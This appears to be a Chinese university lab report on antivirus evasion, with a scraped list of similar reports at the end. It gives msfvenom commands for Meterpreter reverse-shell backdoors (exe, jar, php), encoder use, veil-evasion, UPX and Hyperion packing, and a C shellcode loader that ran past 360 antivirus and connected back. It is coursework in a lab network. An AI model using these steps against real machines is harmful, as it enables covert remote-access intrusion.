Exp3 免杀原理与实践 ——20164325王晓蕊
一、实践基本内容
1.实践目标
(1) 正确使用msf编码器(√),msfvenom生成如jar之类的其他文件(√),veil-evasion(√),加壳工具(√),使用shellcode编程(√)
(2)通过组合应用各种技术实现恶意代码免杀(√)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(√)
2.实践基础问题回答
(1)杀软是如何检测出恶意代码的?
- 杀软有一个病毒的特征码库,恶意代码有一些其他正常程序没有的特征码,通过识别恶意代码的特征码检测恶意代码。
- 杀毒软件通过动态检测对象文件的行为来识别恶意代码,所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
- 让后门程序不被杀软检查并删掉。
(3)免杀的基本方法有哪些?
- 实验中的方法:msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。
3.开启杀软能绝对防止电脑中恶意代码吗?
- 在实验中我有很深刻的体会,虽然说杀软无时无刻的在更新自己的病毒库,但是恶意代码会通过各种方式方法来躲开杀软的查杀,而且有些杀软并不是那么强,什么恶意代码都会发现;
二.实践总结与体会
在本次实验中,掌握了更多种后门程序的生成方法,也掌握了如何组合多种后门程序来实现免杀;实验中我也存在很多问题,但是最后都得以解决,受益匪浅。
三.问题分析与解决
问题一:
问题:在上传文件的时候文件名出现了问题。
解决:我就把20164325改成了4325就可以啦。

问题二:
问题:然而我没有成功安装成功。我还试了另外一种方法安装也没有成功;
sudo apt-get install veil-evasion 安装veil-evasion
(真的等它安装完等了好长时间)

下载好之后veil开始安装,一路Y

没成功。
解决:最后我是在同学那考过来的。
问题三:
问题:用shellcode编程,生成的文件运行回连时会出现问题(打不开文件),如下:

解决:原本我打的主函数内容是:
int main()
{
int (*func)() = (int(*)())buf;
func();
}
出现了上面的问题后,我修改了主函数内容,新内容为:
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}
结果成功;
问题四:
问题:在做任务三时,桥接模式一直连接不成功;尝试过重启电脑,也没有解决。
解决:对ipv4进行了配置,结果桥接模式成功连接。

四.实践过程
任务一:
1.使用msf编码器,生成exe文件
1.1在实验二中使用msf生成了后门程序,我使用Virscan对生成的后门程序进行扫描,结果如下:


显然,裸奔的后门非常容易被检查出来,49个杀软有28个都检查出了它。
1.2然后进行十次编码使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.113.137 LPORT= -f exe > 4325wxr.exe

将编码十次后的可执行文件上传到Virscan扫描后结果如下:

结果并没有什么改变,也就是说使用msf编码器多次编码对免杀没有太大的效果
2.msfvenom生成如jar之类的其他文件
2.1 msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT= x> wxr_backdoor_java.jar
这里我的kali的ip变了,因为是隔天做的。

我在Virscan网页下查杀出现了问题,文件名有问题,所以我就转移到VirusTota网页查,结果如下:


结果不理想。
2.2 msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT= x> wxr_backdoor.php

结果如下:

3.安装并使用veil-evasion
3.1我是在同学那考过来的veil-evasion。
3.2输入veil

输入 use evasion

输入命令use python/meterpreter/rev_tcp.py

设置反弹连接IPset LHOST 192.168.113.137注意此处的IP是Kali的ip
设置端口set LPORT

输入generate生成文件,接着输入你想要playload的名字: veil_c_4325
我这里用的Python却以c的命名veil_c_4325,到之后我把文件从虚拟机共享到windows的时候改了个名字,改成了veil_python_4325;下面就是我在Virscan网页下查杀的情况。


扫描结果49个杀软有14个检查除了它,已经比只使用msf编码器,生成exe文件要好很多了!
4.用shellcode编程
4.1 msfvenom生成shellcode:
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.113.138 LPORT= -f c


4.2 创建一个文件20164325.c vim .c

4.3 然后将unsigned char buf[]赋值到其中,保存;
代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
。。。。。。
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}


4.4 使用命令i686-w64-mingw32-g++ .c -o .exe编译.c文件为可执行文件
4.5 运行监听,结果成功:

4.6 使用VirusTota网页下检查结果:

使用Virscan网页下检查结果(更名为4325)

我开启的时候,360杀毒并没有检测到并制止我打开的这个文件。当我自定义扫描linux时,也只是扫描出来了java那个文件。

5.加壳
5.1 使用压缩壳UPX,给之前的20164325.exe加个壳得到wxr_ke.exe:
Upx .exe –o wxr_ke.exe

5.2 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀
方法一:用了shellcode编程+加壳混合的方法(成功免杀)
就是用任务一的两种方法进行混合,因为是在一次实验,所以我更改了名称(4325_upx.exe)。
使用360杀毒查杀,定向查杀linux文件夹中的文件,共存!

反弹连接:

方法二:用了shellcode编程+加壳+加密壳hyperion混合的方法(没成功免杀)
加密壳hyperion方法: .将之前生成的4325.c文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中 .进入目录 /usr/share/windows-binaries/hyperion/ 中 . 输入命令 wine hyperion.exe -v .c 4325_upx_hyperion.exe 进行加壳;
没有实现反弹连接;
找原因时,我先检测了原文件有没有问题(结果可以实现反弹连接),我在检查了方法一只加一层压缩壳的情况下有没有问题(结果可以实现反弹连接),然后我再检验4325_upx_hyperion.exe(不能实现反弹连接)。
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
方法:先把kali的网络配置器改为桥接模式,获取对方电脑的ip,并实现与另一台电脑的连接(ping),在按照任务一中的方法生成个后门程序,我是用的shellcode编译了一个.c文件,然后编译生成了一个.exe文件(名为20164325wxr),进行攻击(这里要注意ip要填对);生成后门程序后nc传输到对方电脑,在对方电脑杀软打开的情况下进行回连;成功!


杀软版本:

Exp3 免杀原理与实践 ——20164325王晓蕊的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 2018-2019-2 20175126谢文航 实验二《Java面向对象程序设计》实验报告
一.实验报告封面 课程:Java程序设计 班级:1751 班 姓名:谢文航 学号:20175126 指导教师:娄嘉鹏 实验日期:2019年4月17日 实验时间:--- 实验序号:实验二 实验名称:Ja ...
- 从零开始学spring cloud(七) -------- Spring Cloud OpenFegin
一.OpenFegin 介绍 Feign是一个声明性的Web服务客户端. 它使编写Web服务客户端变得更容易. 要使用Feign,请创建一个界面并对其进行注释. 它具有可插入的注释支持,包括Feign ...
- 坑 flutter Positioned相关
child: new Positioned( right: 0.0, ...... 报错: Positioned widgets must be placed directly inside Stac ...
- CentOS7+CDH5.14.0安装CDH错误排查:HBase服务出现 该运行状况测试不良,因为 Service Monitor 未找到活动 Master
错误:HBase服务出现 该运行状况测试不良,因为 Service Monitor 未找到活动 Master 如果重启服务之后无法排除该问题,请执行如下操作(CM换成自己的版本号): rm -f /o ...
- Ubuntu ROS
设置你的sources.list 将电脑设置为接受来自packages.ros.org的软件 sudo sh -c 'echo "deb http://packages.ros.org/ro ...
- mysql权限操作(转)
慢慢看吧mysql中可以给你一个用户授予如select,insert,update,delete等其中的一个或者多个权限,主要使用grant命令,用法格式为: grant 权限 on 数据库对象 to ...
- 20175234 2018-2019-2 《Java程序设计》第八周学习总结
目录 20175234 2018-2019-2 <Java程序设计>第八周学习总结 教材学习内容总结 15.1泛型 15.2链表 15.3堆栈 15.4散列映射 15.5树集 15.6树映 ...
- 分析easyswoole3.0源码,服务启动为例(二)
以下内容需要结合es的源码,不然可能会觉得跳跃.先描述下es启动的大致流程.es启动的时候注册异常处理函数以及加载配置文件.根据位置文件的设置选择启动哪种swoole服务.然后用一个事件注册类,注册s ...
- Android自动化之Monkey测试(二)
本文主要从以下方面进行分享. 一.查看应用包名二.Monkey启动三.Monkey停止四.Monkey命令五.日志分析 一.查看应用包名 大多数时候,我们都是对特定的应用进行monkey测试,因此需要 ...
- [规则原则定理]规则原则定理章4 HTTP&RPC
rpc是远端过程调用,其调用协议通常包含传输协议和序列化协议. 传输协议包含: 如著名的 [gRPC](grpc / grpc.io) 使用的 http2 协议,也有如dubbo一类的自定义报文的tc ...